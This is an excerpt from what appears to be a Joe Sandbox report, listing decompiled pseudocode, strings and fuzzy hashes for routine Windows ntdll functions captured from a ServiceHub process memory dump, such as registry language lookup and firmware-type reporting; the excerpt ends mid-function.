                                          0x011b7f2c
                                          0x0120996a
                                          0x01209975
                                          0x01209975
                                          0x0120997e
                                          0x01209993
                                          0x01209993
                                          0x0120997e
                                          0x00000000
                                          0x011b7ef2
                                          0x011b7efc
                                          0x011b7f0a
                                          0x011b7f0e
                                          0x01209933
                                          0x00000000
                                          0x01209933
                                          0x00000000
                                          0x011b7f0e
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011b7eb1

                                          Strings
                                          • Could not validate the crypto signature for DLL %wZ, xrefs: 01209891
                                          • LdrpCompleteMapModule, xrefs: 01209898
                                          • minkernel\ntdll\ldrmap.c, xrefs: 012098A2
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                          • API String ID: 0-1676968949
                                          • Opcode ID: 0d7925e4ef6a215da906accf51b3359b178d730f988fee005ff15fdc14a97c3e
                                          • Instruction ID: 0172b0ef0584b4351e58611e608524b79ec8c81128f5e51a0ce49207eab9fc9e
                                          • Opcode Fuzzy Hash: 0d7925e4ef6a215da906accf51b3359b178d730f988fee005ff15fdc14a97c3e
                                          • Instruction Fuzzy Hash: 75511631604746DBEB2ACB5CC8C4BBA7BE0AF84718F040659EA569B3D2D774ED40CB51
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AE620 Relevance: 3.9, Strings: 3, Instructions: 165COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 93%
                                          			E011AE620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E011AF358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E011E95D0();
						}
						if(_t78 != 0) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E011EFA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E011EBB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E011E9600();
					if(_t97 < 0) {
						goto L6;
					}
					E011EBB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L011AF018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E011EBB40(_t83, _t102 + 0x24, _t78);
								if(L011B43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E011EBB40(_t84, _t102 + 0x24, _t94);
									if(L011B43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}































                                          0x011ae620
                                          0x011ae628
                                          0x011ae62f
                                          0x011ae631
                                          0x011ae635
                                          0x011ae637
                                          0x011ae63e
                                          0x01205503
                                          0x01205503
                                          0x011ae64c
                                          0x011ae64c
                                          0x011ae651
                                          0x00000000
                                          0x00000000
                                          0x011ae661
                                          0x011ae665
                                          0x0120542a
                                          0x011ae715
                                          0x011ae71a
                                          0x011ae71c
                                          0x011ae720
                                          0x011ae720
                                          0x011ae727
                                          0x011ae736
                                          0x011ae736
                                          0x011ae743
                                          0x011ae743
                                          0x011ae673
                                          0x011ae678
                                          0x011ae67d
                                          0x011ae682
                                          0x011ae685
                                          0x011ae692
                                          0x011ae69b
                                          0x011ae6a3
                                          0x011ae6ad
                                          0x011ae6b1
                                          0x011ae6b2
                                          0x011ae6bb
                                          0x011ae6bf
                                          0x011ae6c0
                                          0x011ae6c8
                                          0x011ae6cc
                                          0x011ae6d5
                                          0x011ae6d9
                                          0x00000000
                                          0x00000000
                                          0x011ae6e5
                                          0x011ae6ea
                                          0x011ae6f9
                                          0x011ae70b
                                          0x011ae70f
                                          0x01205439
                                          0x0120545e
                                          0x0120545e
                                          0x00000000
                                          0x0120545e
                                          0x0120543b
                                          0x0120543e
                                          0x01205440
                                          0x01205445
                                          0x01205472
                                          0x01205475
                                          0x0120548d
                                          0x01205493
                                          0x012054a9
                                          0x00000000
                                          0x00000000
                                          0x012054ab
                                          0x012054b4
                                          0x012054bc
                                          0x012054c8
                                          0x012054de
                                          0x012054fb
                                          0x012054e0
                                          0x012054e6
                                          0x012054eb
                                          0x012054eb
                                          0x012054de
                                          0x00000000
                                          0x012054bc
                                          0x01205477
                                          0x0120547a
                                          0x01205480
                                          0x01205483
                                          0x01205486
                                          0x0120548b
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0120548b
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01205447
                                          0x01205447
                                          0x01205447
                                          0x01205447
                                          0x0120544e
                                          0x00000000
                                          0x00000000
                                          0x01205450
                                          0x01205452
                                          0x01205455
                                          0x0120545a
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0120545c
                                          0x0120546a
                                          0x0120546d
                                          0x0120546f
                                          0x00000000
                                          0x0120546f
                                          0x011ae70f

                                          Strings
                                          • @, xrefs: 011AE6C0
                                          • InstallLanguageFallback, xrefs: 011AE6DB
                                          • \Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 011AE68C
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
                                          • API String ID: 0-1757540487
                                          • Opcode ID: a42f0c8426af9866855df8420aad6810727831aad0d62f797c61f81a21e3d92f
                                          • Instruction ID: c10b9257969550ec5b698a26c7c5f574631bd49ef3eea4dd5dd754da3411d745
                                          • Opcode Fuzzy Hash: a42f0c8426af9866855df8420aad6810727831aad0d62f797c61f81a21e3d92f
                                          • Instruction Fuzzy Hash: 5B5103755193069BC719DF68C440BABBBE8FF88614F450A2EFA85D7291F734C904CBA2
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126E539 Relevance: 2.8, Strings: 2, Instructions: 261COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 60%
                                          			E0126E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E0126BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E0126BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E0126AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E011E9730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E0126A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E0126A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E011E9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E0126A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E0126A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E011C2280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E011BB090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E011BFFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E011C7D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E0125FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}




































                                          0x0126e547
                                          0x0126e549
                                          0x0126e54f
                                          0x0126e553
                                          0x0126e557
                                          0x0126e55a
                                          0x0126e55c
                                          0x0126e55f
                                          0x0126e561
                                          0x0126e567
                                          0x0126e56b
                                          0x0126e7e2
                                          0x00000000
                                          0x0126e571
                                          0x0126e575
                                          0x0126e577
                                          0x0126e57b
                                          0x0126e57c
                                          0x0126e57d
                                          0x0126e57e
                                          0x0126e57f
                                          0x0126e588
                                          0x0126e58f
                                          0x0126e591
                                          0x0126e592
                                          0x0126e592
                                          0x0126e596
                                          0x0126e59e
                                          0x0126e5a0
                                          0x0126e5a6
                                          0x0126e61d
                                          0x0126e61d
                                          0x0126e621
                                          0x0126e623
                                          0x0126e630
                                          0x0126e630
                                          0x0126e7e6
                                          0x0126e7eb
                                          0x0126e7ed
                                          0x0126e7f4
                                          0x0126e7fa
                                          0x0126e7ff
                                          0x0126e7ff
                                          0x0126e80a
                                          0x0126e812
                                          0x0126e812
                                          0x0126e5ab
                                          0x0126e5b4
                                          0x0126e5b9
                                          0x0126e5be
                                          0x0126e5c0
                                          0x0126e5c2
                                          0x0126e5c8
                                          0x0126e5c9
                                          0x0126e5cb
                                          0x0126e5cc
                                          0x0126e5d5
                                          0x0126e5e4
                                          0x0126e5f1
                                          0x0126e5f8
                                          0x0126e5f8
                                          0x0126e5d5
                                          0x0126e602
                                          0x0126e616
                                          0x0126e63d
                                          0x0126e644
                                          0x0126e64d
                                          0x0126e652
                                          0x0126e657
                                          0x0126e659
                                          0x0126e65b
                                          0x0126e661
                                          0x0126e662
                                          0x0126e664
                                          0x0126e665
                                          0x0126e66e
                                          0x0126e67d
                                          0x0126e68a
                                          0x0126e691
                                          0x0126e691
                                          0x0126e66e
                                          0x0126e6b0
                                          0x00000000
                                          0x0126e6b6
                                          0x0126e6bd
                                          0x0126e6c7
                                          0x0126e6d7
                                          0x0126e6d9
                                          0x0126e6db
                                          0x0126e6de
                                          0x0126e6e3
                                          0x0126e6f3
                                          0x0126e6fc
                                          0x0126e700
                                          0x0126e700
                                          0x0126e704
                                          0x0126e70a
                                          0x0126e70a
                                          0x0126e713
                                          0x0126e716
                                          0x0126e719
                                          0x0126e720
                                          0x0126e761
                                          0x0126e76b
                                          0x0126e774
                                          0x0126e77a
                                          0x0126e77a
                                          0x0126e78a
                                          0x0126e791
                                          0x0126e799
                                          0x0126e79b
                                          0x0126e79f
                                          0x0126e7aa
                                          0x0126e7c0
                                          0x0126e7ac
                                          0x0126e7b2
                                          0x0126e7b9
                                          0x0126e7b9
                                          0x0126e7c7
                                          0x0126e806
                                          0x00000000
                                          0x0126e7c9
                                          0x0126e7d1
                                          0x0126e7d8
                                          0x00000000
                                          0x0126e7d8
                                          0x00000000
                                          0x00000000
                                          0x0126e722
                                          0x0126e72e
                                          0x0126e748
                                          0x0126e74c
                                          0x0126e754
                                          0x0126e756
                                          0x0126e75c
                                          0x0126e75c
                                          0x00000000
                                          0x0126e75c
                                          0x0126e758
                                          0x0126e758
                                          0x00000000
                                          0x0126e758
                                          0x0126e750
                                          0x00000000
                                          0x00000000
                                          0x0126e752
                                          0x00000000
                                          0x0126e752
                                          0x0126e730
                                          0x0126e735
                                          0x0126e73d
                                          0x0126e73f
                                          0x00000000
                                          0x00000000
                                          0x0126e741
                                          0x0126e741
                                          0x00000000
                                          0x0126e741
                                          0x0126e739
                                          0x00000000
                                          0x00000000
                                          0x0126e73b
                                          0x00000000
                                          0x0126e73b
                                          0x0126e722
                                          0x0126e720
                                          0x0126e6b0
                                          0x0126e618
                                          0x00000000
                                          0x0126e618

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: `$`
                                          • API String ID: 0-197956300
                                          • Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
                                          • Instruction ID: 539f68f948ac109ab7ede8c1c1a97c220a6c6b741e026ba73667d5782ac1e800
                                          • Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
                                          • Instruction Fuzzy Hash: 7C91C1352243429FE725CE29C841B2BBBE9BF84714F15892DF695CB2C0E774E844CB52
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 012251BE Relevance: 2.7, Strings: 2, Instructions: 173COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 77%
                                          			E012251BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x12805f0);
				E011FD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E011BEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E012253CA(0);
						return E011FD130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E011EF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E011C3690(1, _t117, 0x1181810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E011EAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L011C4620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E011EAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E0122500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E011E9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}






















                                          0x012251be
                                          0x012251c3
                                          0x012251c8
                                          0x012251cd
                                          0x012251d0
                                          0x012251d3
                                          0x012251d8
                                          0x012251db
                                          0x012251de
                                          0x012251e0
                                          0x012251e3
                                          0x012251e6
                                          0x012251e8
                                          0x01225342
                                          0x01225351
                                          0x01225356
                                          0x0122535a
                                          0x01225360
                                          0x01225363
                                          0x01225366
                                          0x01225369
                                          0x01225369
                                          0x0122536b
                                          0x0122536b
                                          0x01225370
                                          0x012253a3
                                          0x012253a4
                                          0x012253a6
                                          0x012253ab
                                          0x012253ab
                                          0x012253ae
                                          0x012253ae
                                          0x012253b5
                                          0x012253bf
                                          0x012253bf
                                          0x01225375
                                          0x01225396
                                          0x012253a0
                                          0x012253a0
                                          0x00000000
                                          0x01225396
                                          0x01225377
                                          0x01225379
                                          0x0122537f
                                          0x0122538c
                                          0x01225390
                                          0x00000000
                                          0x01225390
                                          0x012251ee
                                          0x012251f1
                                          0x01225301
                                          0x01225310
                                          0x01225315
                                          0x01225318
                                          0x0122531b
                                          0x01225320
                                          0x0122532e
                                          0x01225331
                                          0x00000000
                                          0x01225331
                                          0x01225328
                                          0x01225329
                                          0x00000000
                                          0x01225329
                                          0x012251fa
                                          0x01225235
                                          0x01225236
                                          0x01225239
                                          0x0122523f
                                          0x01225240
                                          0x01225241
                                          0x01225242
                                          0x01225246
                                          0x01225247
                                          0x0122524e
                                          0x01225251
                                          0x01225267
                                          0x01225269
                                          0x0122526e
                                          0x0122527d
                                          0x0122527e
                                          0x01225281
                                          0x01225282
                                          0x01225287
                                          0x01225288
                                          0x0122528a
                                          0x0122528f
                                          0x01225294
                                          0x00000000
                                          0x00000000
                                          0x0122529a
                                          0x0122529c
                                          0x0122529e
                                          0x0122529e
                                          0x012252a4
                                          0x012252b0
                                          0x00000000
                                          0x00000000
                                          0x012252ba
                                          0x012252bc
                                          0x012252bc
                                          0x012252d4
                                          0x012252d9
                                          0x012252dc
                                          0x012252e1
                                          0x00000000
                                          0x00000000
                                          0x012252e7
                                          0x012252f4
                                          0x00000000
                                          0x012252f4
                                          0x01225270
                                          0x00000000
                                          0x01225270
                                          0x012251fc
                                          0x012251fd
                                          0x01225202
                                          0x01225203
                                          0x01225205
                                          0x0122520a
                                          0x0122520f
                                          0x00000000
                                          0x00000000
                                          0x0122521b
                                          0x01225226
                                          0x0122522b
                                          0x0122521d
                                          0x0122521d
                                          0x01225222
                                          0x01225222
                                          0x0122522d
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID: Legacy$UEFI
                                          • API String ID: 2994545307-634100481
                                          • Opcode ID: 8409b2fdbecbffbd674cbd44d4aee0ab7f46061f3ba29e5f6d29e1e7842acced
                                          • Instruction ID: d34cb926f4037d42601645cec3d34d7acfd914244c70f3dd780bc6d47e97224b
                                          • Opcode Fuzzy Hash: 8409b2fdbecbffbd674cbd44d4aee0ab7f46061f3ba29e5f6d29e1e7842acced
                                          • Instruction Fuzzy Hash: 4F515D71A20629AFDB24DFA8C940BEDBBF8FF58704F14802DE649EB291D7719941CB50
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011CB944 Relevance: 1.7, APIs: 1, Instructions: 166COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 76%
                                          			E011CB944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x129d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E011C7D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E01278CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E011E9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E011EB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E011ECE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
